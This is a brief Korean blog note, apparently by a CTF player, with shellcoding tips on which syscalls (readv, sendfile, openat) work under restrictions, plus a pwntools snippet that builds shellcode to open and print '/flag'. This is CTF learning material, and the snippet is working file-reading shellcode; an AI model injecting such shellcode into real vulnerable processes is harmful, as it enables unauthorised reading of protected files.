쉘코딩 챌에서 pread, preadv, pread64로 표준입력(write - 표준출력) 받으려면 실패하고 오직 readv로만 가능하다.

write도 마찬가지. pread, preadv, pread64는 파일 읽기 할때만 쓰자.

 


 

sendfile 함수를 쓰면 파일 오픈한 상태에서 read안하고 바로 출력 가능하다

#include <sys/sendfile.h>

ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);

 


 

openat 의 첫번째 인자는 -1 주면 된다.

pay += shellcraft.pushstr("/flag")
pay += shellcraft.openat(-1, 'rsp', 0)
pay += shellcraft.pread(3, 'rsp', 0x100, 0)
pay += 'push rdx\n'
pay += 'push rsi'
pay += shellcraft.writev(1, 'rsp', 0x1)
p.send(asm(pay))

이런느낌으로 사용

+ Recent posts